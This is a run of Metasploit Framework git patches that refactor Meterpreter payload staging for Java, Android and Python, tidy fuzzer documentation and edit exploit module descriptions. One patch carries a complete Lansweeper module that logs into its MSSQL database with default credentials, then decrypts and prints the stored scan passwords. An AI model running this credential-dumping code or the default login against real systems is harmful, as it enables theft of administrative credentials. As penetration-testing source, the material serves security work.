0569/1013] Java config wiring, tweak to include block counts This commit adjusts the way that the config block is set for java and android because behind the scenes the stageless connect-backs need to know what to discard. as a result of connecting back to staged listeners we need to be able to discard a number of bytes/blocks before we can continue process (at least in the case of TCP). --- lib/msf/core/payload/java.rb | 4 +- .../payloads/stages/android/meterpreter.rb | 28 +++++---- modules/payloads/stages/java/meterpreter.rb | 63 ++++++++++++++----- 3 files changed, 63 insertions(+), 32 deletions(-) diff --git a/lib/msf/core/payload/java.rb b/lib/msf/core/payload/java.rb index bebcedca32..d61b2190cc 100644 --- a/lib/msf/core/payload/java.rb +++ b/lib/msf/core/payload/java.rb @@ -18,9 +18,9 @@ module Msf::Payload::Java stage = '' @stage_class_files.each do |path| data = MetasploitPayloads.read('java', path) - stage << ([data.length].pack("N") + data) + stage << [data.length, data].pack('NA*') end - stage << [0].pack("N") + stage << [0].pack('N') stage end diff --git a/modules/payloads/stages/android/meterpreter.rb b/modules/payloads/stages/android/meterpreter.rb index 20f7f52825..fe89735e12 100644 --- a/modules/payloads/stages/android/meterpreter.rb +++ b/modules/payloads/stages/android/meterpreter.rb @@ -15,20 +15,16 @@ module Metasploit4 def initialize(info = {}) super(update_info(info, - 'Name' => 'Android Meterpreter', + 'Name' => 'Android Meterpreter', 'Description' => 'Run a meterpreter server on Android', - 'Author' => [ - 'mihi', # all the hard work - 'egypt', # msf integration - 'anwarelmakrahy' # android extension - ], + 'Author' => ['mihi', 'egypt', 'anwarelmakrahy', 'OJ Reeves'], 'Platform' => 'android', - 'Arch' => ARCH_DALVIK, - 'License' => MSF_LICENSE, - 'Session' => Msf::Sessions::Meterpreter_Java_Android)) + 'Arch' => ARCH_DALVIK, + 'License' => MSF_LICENSE, + 'Session' => Msf::Sessions::Meterpreter_Java_Android + )) - register_options( - [ + register_options([ OptBool.new('AutoLoadAndroid', [true, "Automatically load the Android extension", true]) ], self.class) end @@ -38,14 +34,20 @@ module Metasploit4 # used as the final stage # def generate_stage(opts={}) - # TODO: wire the UUID into the stage clazz = 'androidpayload.stage.Meterpreter' metstage = MetasploitPayloads.read("android", "metstage.jar") met = MetasploitPayloads.read("android", "meterpreter.jar") # Name of the class to load from the stage, the actual jar to load # it from, and then finally the meterpreter stage - java_string(clazz) + java_string(metstage) + java_string(met) + java_string(generate_config(opts)) + blocks = [ + java_string(clazz), + java_string(metstage), + java_string(met), + java_string(generate_config(opts)) + ] + + (blocks + [blocks.length]).pack('A*' * blocks.length + 'N') end def generate_config(opts={}) diff --git a/modules/payloads/stages/java/meterpreter.rb b/modules/payloads/stages/java/meterpreter.rb index dfa263ef0e..f0e666349d 100644 --- a/modules/payloads/stages/java/meterpreter.rb +++ b/modules/payloads/stages/java/meterpreter.rb @@ -10,7 +10,8 @@ require 'msf/base/sessions/meterpreter_java' require 'msf/base/sessions/meterpreter_options' -module Metasploit3 +module Metasploit4 + include Msf::Sessions::MeterpreterOptions # The stager should have already included this @@ -18,20 +19,18 @@ module Metasploit3 def initialize(info = {}) super(update_info(info, - 'Name' => 'Java Meterpreter', - 'Description' => 'Run a meterpreter server in Java', - 'Author' => [ - 'mihi', # all the hard work - 'egypt' # msf integration - ], - 'Platform' => 'java', - 'Arch' => ARCH_JAVA, - 'PayloadCompat' => - { + 'Name' => 'Java Meterpreter', + 'Description' => 'Run a meterpreter server in Java', + 'Author' => ['mihi', 'egypt', 'OJ Reeves'], + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'PayloadCompat' => { 'Convention' => 'javasocket javaurl', }, - 'License' => MSF_LICENSE, - 'Session' => Msf::Sessions::Meterpreter_Java_Java)) + 'License' => MSF_LICENSE, + 'Session' => Msf::Sessions::Meterpreter_Java_Java + )) + # Order matters. Classes can only reference classes that have already # been sent. The last .class must implement Stage, i.e. have a start() # method. @@ -54,12 +53,42 @@ module Metasploit3 # used as the final stage; calls super to get the intermediate stager. # def generate_stage(opts={}) - # TODO: wire the UUID into the stage met = MetasploitPayloads.read('meterpreter', 'meterpreter.jar') + config = generate_config(opts) - # All of the dendencies to create a jar loader, followed by the length - # of the jar and the jar itself. - super(opts) + [met.length].pack("N") + met + # All of the dependencies to create a jar loader, followed by the length + # of the jar and the jar itself, then the config + blocks = [ + super(opts), + [met.length, met].pack('NA*'), + [config.length, config].pack('NA*') + ] + + # Deliberate off by 1 here. The call to super adds a null terminator + # so we would add 1 for the null terminate and remove one for the call + # to super. + block_count = blocks.length + @stage_class_files.length + + # Pack all the magic together + (blocks + [block_count]).pack('A*' * blocks.length + 'N') end + def generate_config(opts={}) + opts[:uuid] ||= generate_payload_uuid + + # create the configuration block, which for staged connections is really simple. + config_opts = { + ascii_str: true, + arch: opts[:uuid].arch, + expiration: datastore['SessionExpirationTimeout'].to_i, + uuid: opts[:uuid], + transports: [transport_config(opts)] + } + + # create the configuration instance based off the parameters + config = Rex::Payloads::Meterpreter::Config.new(config_opts) + + # return the XML version of it + config.to_b + end end From 7f4a96f3dcf436b15c2d99bced282fcb543447f9 Mon Sep 17 00:00:00 2001 From: cldrn <calderon@websec.mx> Date: Fri, 26 Jun 2015 03:29:17 -0500 Subject: [PATCH 0570/1013] Fixes coding style issues --- modules/auxiliary/gather/lansweeper.rb | 209 ++++++++++++------------- 1 file changed, 97 insertions(+), 112 deletions(-) diff --git a/modules/auxiliary/gather/lansweeper.rb b/modules/auxiliary/gather/lansweeper.rb index c0945eb825..a0a67a2fc4 100644 --- a/modules/auxiliary/gather/lansweeper.rb +++ b/modules/auxiliary/gather/lansweeper.rb @@ -1,129 +1,114 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary + include Msf::Exploit::Remote::MSSQL + include Msf::Auxiliary::Report - include Msf::Exploit::Remote::MSSQL - include Msf::Auxiliary::Report + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Lansweeper Collector', + 'Description' => %q( + Lansweeper stores the credentials it uses to scan the computers + in its MSSQL database. The passwords are XTea-encrypted with a + 68 character long key, which first 8 character is stored with the + password in the database, and the other 60 is static. Lansweeper by + default creates an MSSQL user "lansweeperuser" whose password is + "mysecretpassword0*", and stores its data in a database called + "lansweeperdb". + This module will query the MSSQL database for the credentials. + ), + 'Author' => [ + # Lansweeper RCE + Metasploit implementation + 'sghctoma <tamas.szakaly [at] praudit [dot] hu>', + # Lansweeper RCE + discovering default credentials + 'eq <balazs.bucsay [at] praudit [dot] hu>', + # Updated module to work on latest version of lansweeper + 'calderpwn <calderon [at] websec [dot] mx>' + ], + 'License' => MSF_LICENSE, + 'References' => [ + [ 'URL', 'http://www.lansweeper.com'], + [ 'URL', 'http://www.praudit.hu/prauditeng/index.php/blog/a-lansweeper-es-a-tea'] + ] + ) +) - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Lansweeper', - 'Description' => %q{ - Lansweeper stores the credentials it uses to scan the computers - in its MSSQL database. The passwords are XTea-encrypted with a - 68 character long key, which first 8 character is stored with the - password in the database, and the other 60 is static. Lansweeper by - default creates an MSSQL user "lansweeperuser" whose password is - "mysecretpassword0*", and stores its data in a database called - "lansweeperdb". - This module will query the MSSQL database for the credentials. - }, - 'Author' => - [ - # Lansweeper RCE + Metasploit implementation - 'sghctoma <tamas.szakaly [at] praudit [dot] hu>' , - - # Lansweeper RCE + discovering default credentials - 'eq <balazs.bucsay [at] praudit [dot] hu>', + register_options([ + OptString.new('USERNAME', [ true, 'The username to authenticate as', 'lansweeperuser' ]), + OptString.new('PASSWORD', [ false, 'The password for the specified username', 'mysecretpassword0*' ]), + OptString.new('DATABASE', [ true, 'The Lansweeper database', 'lansweeperdb']) + ], self.class) + end - # Updated module to work on latest version of lansweeper - 'calderpwn <calderon [at] websec [dot] mx>' - ], - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'URL', 'http://www.lansweeper.com'], - [ 'URL', 'http://www.praudit.hu/prauditeng/index.php/blog/a-lansweeper-es-a-tea'] - ] - )) + def uint32(n) + n & 0xffffffff + end - register_options( - [ - OptString.new('USERNAME', [ true, 'The username to authenticate as', 'lansweeperuser' ]), - OptString.new('PASSWORD', [ false, 'The password for the specified username', 'mysecretpassword0*' ]), - OptString.new('DATABASE', [ true, 'The Lansweeper database', 'lansweeperdb']), - ], self.class) - end + def xteadecode(v, k) + num = 0xc6ef3720 + num2 = uint32(v[0]) + num3 = uint32(v[1]) - def uint32(n) - return n & 0xffffffff - end + for i in 0..0x1f + num3 -= uint32((uint32(num2 << 4) ^ uint32(num2 >> 5)) + num2) ^ + uint32(num + k[uint32(num >> 11) & 3]) + num3 = uint32(num3) + num -= 0x9e3779b9 + num = uint32(num) + num2 -= ((uint32(uint32(num3 << 4) ^ uint32(num3 >> 5)) + num3) ^ + uint32(num + k[num & 3])) + num2 = uint32(num2) + end + v[0] = num2 + v[1] = num3 + end - def xteadecode(v, k) - num = 0xc6ef3720 - num2 = uint32(v[0]) - num3 = uint32(v[1]) + def xteadecrypt(data, key) + k = key.ljust(16).unpack('VVVV') + num = 0 + bytes = Array.new - for i in 0..0x1f - num3 -= uint32((uint32(num2 << 4) ^ uint32(num2 >> 5)) + num2) ^ - uint32(num + k[uint32(num >> 11) & 3]) - num3 = uint32(num3) - num -= 0x9e3779b9 - num = uint32(num) - num2 -= ((uint32(uint32(num3 << 4) ^ uint32(num3 >> 5)) + num3) ^ - uint32(num + k[num & 3])) - num2 = uint32(num2) - end + 0.step(data.length - 1, 8) do |i| + v = data[i, 8].unpack('VV') + xteadecode(v, k) + bytes[num] = v[0] + num += 1 + bytes[num] = v[1] + num += 1 + end + bytes.pack('c*') + end - v[0] = num2 - v[1] = num3 - end + def lswgeneratepass + key = '' + for num in 0..60 + key << [((40 - num) + ((num * 2) + num)) - 1].pack('c') + key << [(num + 15) + num].pack('c') + end + key + end - def xteadecrypt(data, key) - k = key.ljust(16).unpack('VVVV') - num = 0 - bytes = Array.new + def lswdecrypt(data) + data = Rex::Text.decode_base64(data) - 0.step(data.length - 1, 8) do |i| - v = data[i, 8].unpack('VV') - xteadecode(v, k) - - bytes[num] = v[0] - num += 1 - bytes[num] = v[1] - num += 1 - end - - return bytes.pack('c*') - end + first = data[0] + pass = data[1, 8] + actualdata = data[9, data.length - 9] - def lswgeneratepass() - key = '' + decrypted = xteadecrypt(actualdata, pass + lswgeneratepass) - for num in 0..60 - key << [((40 - num) + ((num * 2) + num)) - 1].pack('c') - key << [(num + 15) + num].pack('c') - end + if first == "1" + decrypted = decrypted[0, decrypted.length - 2] + end + Rex::Text.to_ascii(decrypted, 'utf-16le') + end - return key - end - - def lswdecrypt(data) - - data = Rex::Text.decode_base64(data) - - first = data[0] - pass = data[1,8] - actualdata = data[9, data.length - 9] - - decrypted = xteadecrypt(actualdata, pass + lswgeneratepass()) - - if first == "1" - decrypted = decrypted[0, decrypted.length - 2] - end - - return Rex::Text.to_ascii(decrypted, 'utf-16le') - - end - - def run - result = mssql_query('select Credname, Username, Password from ' + datastore['DATABASE'] + - '.dbo.tsysCredentials WHERE LEN(Password)>64', true) if mssql_login_datastore - - result[:rows].each do |row| - print_good("Credential name: #{row[0]} | username: #{row[1]} | password: #{lswdecrypt(row[2])} ") - end - - disconnect - end + def run + result = mssql_query('select Credname, Username, Password from ' + datastore['DATABASE'] + + '.dbo.tsysCredentials WHERE LEN(Password)>64', true) if mssql_login_datastore + result[:rows].each do |row| + print_good("Credential name: #{row[0]} | username: #{row[1]} | password: #{lswdecrypt(row[2])} ") + end + disconnect + end end From 7aae9b210ec7275843b03c13f02bc9ef7c979e90 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre <zeroSteiner@gmail.com> Date: Fri, 26 Jun 2015 11:32:51 -0400 Subject: [PATCH 0571/1013] Add pymet support for core_enumextcmd --- data/meterpreter/meterpreter.py | 59 ++++++++++++++++--- .../ui/console/command_dispatcher/core.rb | 3 +- 2 files changed, 53 insertions(+), 9 deletions(-) diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index a39fde22ae..bc0aa3d648 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -144,6 +144,19 @@ TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401 TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402 TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403 +TLV_TYPE_TRANS_TYPE = TLV_META_TYPE_UINT | 430 +TLV_TYPE_TRANS_URL = TLV_META_TYPE_STRING | 431 +TLV_TYPE_TRANS_UA = TLV_META_TYPE_STRING | 432 +TLV_TYPE_TRANS_COMM_TIMEOUT = TLV_META_TYPE_UINT | 433 +TLV_TYPE_TRANS_SESSION_EXP = TLV_META_TYPE_UINT | 434 +TLV_TYPE_TRANS_CERT_HASH = TLV_META_TYPE_RAW | 435 +TLV_TYPE_TRANS_PROXY_HOST = TLV_META_TYPE_STRING | 436 +TLV_TYPE_TRANS_PROXY_USER = TLV_META_TYPE_STRING | 437 +TLV_TYPE_TRANS_PROXY_PASS = TLV_META_TYPE_STRING | 438 +TLV_TYPE_TRANS_RETRY_TOTAL = TLV_META_TYPE_UINT | 439 +TLV_TYPE_TRANS_RETRY_WAIT = TLV_META_TYPE_UINT | 440 +TLV_TYPE_TRANS_GROUP = TLV_META_TYPE_GROUP | 441 + TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460 TLV_TYPE_UUID = TLV_META_TYPE_RAW | 461 @@ -210,6 +223,15 @@ def error_result_windows(error_number=None): result = ((error_number << 16) | ERROR_FAILURE_WINDOWS) return result +@export +def get_hdd_label(): + for _, _, files in os.walk('/dev/disk/by-id/'): + for f in files: + for p in ['ata-', 'mb-']: + if f[:len(p)] == p: + return f[len(p):] + return '' + @export def inet_pton(family, address): if hasattr(socket, 'inet_pton'): @@ -387,6 +409,7 @@ class PythonMeterpreter(object): self.channels = {} self.interact_channels = [] self.processes = {} + self.transports = [] for func in list(filter(lambda x: x.startswith('_core'), dir(self))): self.extension_functions[func[1:]] = getattr(self, func) if self.driver: @@ -576,15 +599,14 @@ class PythonMeterpreter(object): response += tlv_pack(TLV_TYPE_UUID, PAYLOAD_UUID) return ERROR_SUCCESS, response - def _core_machine_id(self, request, response): - def get_hdd_label(): - for _, _, files in os.walk('/dev/disk/by-id/'): - for f in files: - for p in ['ata-', 'mb-']: - if f[:len(p)] == p: - return f[len(p):] - return "" + def _core_enumextcmd(self, request, response): + extension_name = packet_get_tlv(request, TLV_TYPE_STRING)['value'] + for func_name in self.extension_functions.keys(): + if func_name.split('_', 1)[0] == extension_name: + response += tlv_pack(TLV_TYPE_STRING, func_name) + return ERROR_SUCCESS, response + def _core_machine_id(self, request, response): serial = '' machine_name = platform.uname()[1] if has_windll: @@ -635,6 +657,27 @@ class PythonMeterpreter(object): self.running = False return ERROR_SUCCESS, response + def _core_transport_add(self, request, response): + raise NotImplemented() + + def _core_transport_change(self, request, response): + raise NotImplemented() + + def _core_transport_list(self, request, response): + raise NotImplemented() + + def _core_transport_next(self, request, response): + raise NotImplemented() + + def _core_transport_prev(self, request, response): + raise NotImplemented() + + def _core_transport_set_timeouts(self, request, response): + raise NotImplemented() + + def _core_transport_sleep(self, request, response): + raise NotImplemented() + def _core_channel_open(self, request, response): channel_type = packet_get_tlv(request, TLV_TYPE_CHANNEL_TYPE) handler = 'channel_open_' + channel_type['value'] diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index e51c470a20..35df3b7972 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -80,8 +80,9 @@ class Console::CommandDispatcher::Core if client.platform =~ /win/ || client.platform =~ /linux/ # Migration only supported on windows and linux c["migrate"] = "Migrate the server to another process" + end - + if client.platform =~ /win/ || client.platform =~ /linux/ || client.platform =~ /python/ # Yet to implement transport hopping for other meterpreters. # Works for posix and native windows though. c["transport"] = "Change the current transport mechanism" From 1d9caeffc0f777e77d8eae862d5dca842dee881f Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Fri, 26 Jun 2015 11:22:30 -0500 Subject: [PATCH 0572/1013] Update documentation for fuzzer.rb and file_info.rb See #5599 --- lib/msf/core/auxiliary/fuzzer.rb | 96 ++++++++++++++------------ lib/msf/core/post/windows/file_info.rb | 8 +-- 2 files changed, 54 insertions(+), 50 deletions(-) diff --git a/lib/msf/core/auxiliary/fuzzer.rb b/lib/msf/core/auxiliary/fuzzer.rb index 1185852772..577b59091c 100644 --- a/lib/msf/core/auxiliary/fuzzer.rb +++ b/lib/msf/core/auxiliary/fuzzer.rb @@ -48,10 +48,12 @@ module Auxiliary::Fuzzer res end - # Modifies each byte of the string from beginning to end, packing each element as an 8 bit character. - # - # @returns [Array] Returns an array of an array of strings - # @see #fuzzer_string_format + # Modifies each byte of the string from beginning to end, packing each element as an 8 bit character. + # + # @param str [String] The string the mutation will be based on. + # @param max [Fixnum, NilClass] Max string size. + # @return [Array] Returns an array of an array of strings + # @see #fuzzer_string_format def fuzz_string_corrupt_byte(str,max=nil) res = [] @@ -68,8 +70,9 @@ module Auxiliary::Fuzzer # Modifies each byte of the string from beginning to end, packing each element as an 8 bit character. # - # - # @returns [Array] Returns an array of an array of strings + # @param str [String] The string the mutation will be based on. + # @param max [Fixnum, NilClass] Max string size. + # @return [Array] Returns an array of an array of strings # @see fuzzer_string_format def fuzz_string_corrupt_byte_reverse(str,max=nil) @@ -87,7 +90,7 @@ module Auxiliary::Fuzzer # Useful generators (many derived from AxMan) # - # @returns [Array] Returns and array of strings. + # @return [Array] Returns and array of strings. def fuzzer_string_format res = %W{ %s %p %n %x %@ %.257d %.65537d %.2147483648d %.257f %.65537f %.2147483648f} @@ -97,7 +100,7 @@ module Auxiliary::Fuzzer # Reserved filename array # Useful generators (many derived from AxMan) # - # @returns [Array] Returns and array of reserved filenames in Windows. + # @return [Array] Returns and array of reserved filenames in Windows. def fuzzer_string_filepath_dos res = %W{ aux con nul com1 com2 com3 com4 lpt1 lpt2 lp3 lpt4 prn } @@ -106,7 +109,7 @@ module Auxiliary::Fuzzer # Fuzzer Numbers by Powers of Two # - # @returns [Array] Returns an array with pre-set values + # @return [Array] Returns an array with pre-set values def fuzzer_number_power2 res = [ @@ -128,7 +131,7 @@ module Auxiliary::Fuzzer # Powers of two by some fuzzing factor. # - # @returns [Array] Returns and array of integers. + # @return [Array] Returns and array of integers. def fuzzer_number_power2_plus res = [] @@ -144,9 +147,10 @@ module Auxiliary::Fuzzer block_given? ? res.each { |n| yield(n) } : res end - # Generates a fuzz string - # If no block set, will retrive characters from the FuzzChar datastore option + # Generates a fuzz string If no block is set, it will retrive characters from the + # FuzzChar datastore option. # + # @param len [Fixnum] String size. # @return [String] Returns a string of size 1024 * 512 specified by the user def fuzzer_gen_string(len) @@ -198,7 +202,7 @@ module Auxiliary::Fuzzer # Various URI types # - # @returns [Array] Returns an array of strings + # @return [Array] Returns an array of strings def fuzzer_string_uri_types res = %W{ aaa aaas about acap adiumxtra afp aim apt aw bolo callto cap chrome cid @@ -216,27 +220,27 @@ module Auxiliary::Fuzzer block_given? ? res.each { |n| yield(n) } : res end -# Generator for common URI dividers -# -# @return [Array] Returns an array of strings + # Generator for common URI dividers + # + # @return [Array] Returns an array of strings def fuzzer_string_uri_dividers res = %W{ : :// } block_given? ? res.each { |n| yield(n) } : res end -# Generator for common path prefixes -# -# @return [Array] Returns an array of strings + # Generator for common path prefixes + # + # @return [Array] Returns an array of strings def fuzzer_string_path_prefixes res = %W{ C:\\ \\\\localhost\\ / } block_given? ? res.each { |n| yield(n) } : res end -# Generates various small URI string types -# -# @return [Array] Returns an array of stings + # Generates various small URI string types + # + # @return [Array] Returns an array of stings def fuzzer_string_uris_small res = [] @@ -268,9 +272,9 @@ module Auxiliary::Fuzzer res end -# Generates various giant URI string types -# -# @return [Array] Returns an array of stings + # Generates various giant URI string types + # + # @return [Array] Returns an array of stings def fuzzer_string_uris_giant res = [] @@ -285,9 +289,9 @@ module Auxiliary::Fuzzer res end -# Format for the URI string generator -# -# @return [Array] Returns an array of stings + # Format for the URI string generator + # + # @return [Array] Returns an array of stings def fuzzer_string_uris_format res = [] @@ -303,9 +307,9 @@ module Auxiliary::Fuzzer end -# Generates various small strings -# -# @return [Array] Returns an array of stings + # Generates various small strings + # + # @return [Array] Returns an array of stings def fuzzer_string_uris_dos res = [] @@ -321,9 +325,9 @@ module Auxiliary::Fuzzer end -# Generates various small strings -# -# @return [Array] Returns an array of stings + # Generates various small strings + # + # @return [Array] Returns an array of stings def fuzzer_string_paths_small res = [] @@ -337,9 +341,9 @@ module Auxiliary::Fuzzer end -# Generates various small strings -# -# @return [Array] Returns an array of stings + # Generates various small strings + # + # @return [Array] Returns an array of stings def fuzzer_string_paths_long res = [] @@ -353,9 +357,9 @@ module Auxiliary::Fuzzer end -# Generates various giant strings -# -# @return [Array] Returns an array of stings + # Generates various giant strings + # + # @return [Array] Returns an array of stings def fuzzer_string_paths_giant res = [] @@ -369,9 +373,9 @@ module Auxiliary::Fuzzer end -# Format for the path generator -# -# @return [Array] Returns an array of stings + # Format for the path generator + # + # @return [Array] Returns an array of stings def fuzzer_string_paths_format res = [] @@ -385,9 +389,9 @@ module Auxiliary::Fuzzer end -# Generates fuzzer strings using path prefixes -# -# @return [Array] Returns an array of stings + # Generates fuzzer strings using path prefixes + # + # @return [Array] Returns an array of stings def fuzzer_string_paths_dos res = [] diff --git a/lib/msf/core/post/windows/file_info.rb b/lib/msf/core/post/windows/file_info.rb index 420584a12d..40ca6d7439 100644 --- a/lib/msf/core/post/windows/file_info.rb +++ b/lib/msf/core/post/windows/file_info.rb @@ -13,10 +13,10 @@ module FileInfo num & 0xffff end -# File Version -# @param [String] filepath The path of the file you are targeting -# -# @return [String] Returns the file version of target + # Returns the file version information such as: major, minor, build, revision, branch. + # + # @param filepath [String] The path of the file you are targeting. + # @return [String] Returns the file version information of the file. def file_version(filepath) file_version_info_size = client.railgun.version.GetFileVersionInfoSizeA( From 7ccc86d33843603aa6d7860662a435d9ccb582e8 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 26 Jun 2015 11:54:19 -0500 Subject: [PATCH 0573/1013] Use cmd_exec --- modules/exploits/windows/local/persistence.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/local/persistence.rb b/modules/exploits/windows/local/persistence.rb index 0cd6a3fe08..d719b37e3a 100644 --- a/modules/exploits/windows/local/persistence.rb +++ b/modules/exploits/windows/local/persistence.rb @@ -230,9 +230,9 @@ class Metasploit4 < Msf::Exploit::Local # Error handling for process.execute() can throw a RequestError in send_request. begin unless datastore['EXE::Custom'] - session.shell_command_token(script_on_target) + cmd_exec("wscript \"#{script_on_target}\"") else - session.shell_command_token("cscript \"#{script_on_target}\"") + cmd_exec("cscript \"#{script_on_target}\"") end rescue print_error("Failed to execute payload on target") From 0c608e2a4c6047c4200d8b90bf5db82282f996e0 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Fri, 26 Jun 2015 12:01:53 -0500 Subject: [PATCH 0574/1013] Change doc for boolean args --- lib/msf/core/exploit/file_dropper.rb | 10 +++------- 1 file changed, 3 insertions(+), 7 deletions(-) diff --git a/lib/msf/core/exploit/file_dropper.rb b/lib/msf/core/exploit/file_dropper.rb index 6fe6439c1f..f2bdf4dc07 100644 --- a/lib/msf/core/exploit/file_dropper.rb +++ b/lib/msf/core/exploit/file_dropper.rb @@ -102,8 +102,7 @@ module Exploit::FileDropper # See if +path+ exists on the remote system and is a regular file # # @param path [String] Remote filename to check - # @return [TrueClass] If the file exists - # @return [FalseClass] If the file doesn't exist + # @return [Boolean] True if the file exists, otherwise false. def file_dropper_file_exist?(session, path) if session.platform =~ /win/ normalized = file_dropper_win_file(path) @@ -134,8 +133,7 @@ module Exploit::FileDropper # Sends a file deletion command to the remote +session+ # # @param [String] file The file to delete - # @return [TrueClass] the delete command has been executed in the remote machine - # @return [FalseClass] otherwise + # @return [Boolean] True if the delete command has been executed in the remote machine, otherwise false. def file_dropper_delete(session, file) win_file = file_dropper_win_file(file) @@ -172,9 +170,7 @@ module Exploit::FileDropper # Checks if a file has been deleted by the current job # # @param [String] file The file to check - # @param [TrueClass] exists_before Indicates if the file existed before the deletion - # @return [TrueClass] if the file has been deleted or it cannot resolve - # @return [FalseClass] if the file hasn't been deleted + # @return [Boolean] If the file has been deleted, otherwise false. def file_dropper_deleted?(session, file, exists_before) if exists_before && file_dropper_file_exist?(session, file) print_error("Unable to delete #{file}") From 31eedbcfa0c5da2c8f44676ece18c9a5f6d333a6 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Fri, 26 Jun 2015 12:18:33 -0500 Subject: [PATCH 0575/1013] Minor cleanups on recent modules Edited modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb first landed in #5577, MS15-034 HTTP.SYS Information Disclosure Edited modules/exploits/multi/browser/adobe_flash_shader_drawing_fill.rb first landed in #5605, CVE-2015-3105 flash exploit Edited modules/exploits/multi/browser/adobe_flash_shader_job_overflow.rb first landed in #5559, Adobe Flash Player ShaderJob Buffer Overflow Edited modules/auxiliary/test/report_auth_info.rb first landed in #5540, @wchen-r7's changes for multiple auxiliary modules to use the new cred API --- .../scanner/http/ms15_034_http_sys_memory_dump.rb | 2 +- .../multi/browser/adobe_flash_shader_drawing_fill.rb | 7 ++++--- .../multi/browser/adobe_flash_shader_job_overflow.rb | 9 +++++---- test/modules/auxiliary/test/report_auth_info.rb | 6 +++--- 4 files changed, 13 insertions(+), 11 deletions(-) diff --git a/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb b/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb index ff2401db30..7e94815287 100644 --- a/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb +++ b/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb @@ -15,7 +15,7 @@ class Metasploit3 < Msf::Auxiliary super(update_info(info, 'Name' => 'MS15-034 HTTP Protocol Stack Request Handling HTTP.SYS Memory Information Disclosure', 'Description' => %q{ - Dumps memory contents using a crafted Range header. Affects only + This module dumps memory contents using a crafted Range header, and affects only Windows 8.1, Server 2012, and Server 2012R2. Note that if the target is running in VMware Workstation, this module has a high likelihood of resulting in BSOD; however, VMware ESX and non-virtualized hosts diff --git a/modules/exploits/multi/browser/adobe_flash_shader_drawing_fill.rb b/modules/exploits/multi/browser/adobe_flash_shader_drawing_fill.rb index 0de86549e6..68a671f847 100644 --- a/modules/exploits/multi/browser/adobe_flash_shader_drawing_fill.rb +++ b/modules/exploits/multi/browser/adobe_flash_shader_drawing_fill.rb @@ -16,9 +16,10 @@ class Metasploit3 < Msf::Exploit::Remote 'Description' => %q{ This module exploits a memory corruption happening when applying a Shader as a drawing fill as exploited in the wild on June 2015. This module has been tested successfully on: - Windows 7 SP1 (32-bit), IE11 and Adobe Flash 17.0.0.188. - Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 17.0.0.188. - Windows 8.1, Firefox 38.0.5 and Adobe Flash 17.0.0.188. + + Windows 7 SP1 (32-bit), IE11 and Adobe Flash 17.0.0.188, + Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 17.0.0.188, + Windows 8.1, Firefox 38.0.5 and Adobe Flash 17.0.0.188, and Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.460. }, 'License' => MSF_LICENSE, diff --git a/modules/exploits/multi/browser/adobe_flash_shader_job_overflow.rb b/modules/exploits/multi/browser/adobe_flash_shader_job_overflow.rb index b92a96839f..8c833f900e 100644 --- a/modules/exploits/multi/browser/adobe_flash_shader_job_overflow.rb +++ b/modules/exploits/multi/browser/adobe_flash_shader_job_overflow.rb @@ -20,10 +20,11 @@ class Metasploit3 < Msf::Exploit::Remote of the ShaderJob after starting the job it's possible to create a buffer overflow condition where the size of the destination buffer and the length of the copy are controlled. This module has been tested successfully on: - * Windows 7 SP1 (32-bit), IE11 and Adobe Flash 17.0.0.169. - * Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 17.0.0.169. - * Windows 8.1, Firefox 38.0.5 and Adobe Flash 17.0.0.169. - * Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.457. + + Windows 7 SP1 (32-bit), IE11 and Adobe Flash 17.0.0.169, + Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 17.0.0.169, + Windows 8.1, Firefox 38.0.5 and Adobe Flash 17.0.0.169, and + Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.457. }, 'License' => MSF_LICENSE, 'Author' => diff --git a/test/modules/auxiliary/test/report_auth_info.rb b/test/modules/auxiliary/test/report_auth_info.rb index 9364d6e766..2206aa9b70 100644 --- a/test/modules/auxiliary/test/report_auth_info.rb +++ b/test/modules/auxiliary/test/report_auth_info.rb @@ -14,9 +14,9 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => "report_cred test", + 'Name' => "report_cred Test", 'Description' => %q{ - This module will test every auxiliary module's report_cred method + This module will test every auxiliary module's report_cred method }, 'Author' => [ 'sinn3r' ], 'License' => MSF_LICENSE @@ -119,7 +119,7 @@ class Metasploit3 < Msf::Auxiliary end def test_asterisk_login - mod = framework.auxiliary.create('voip/asterisk_login') + mod = framework.auxiliary.create('voip/asterisk_login') mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: 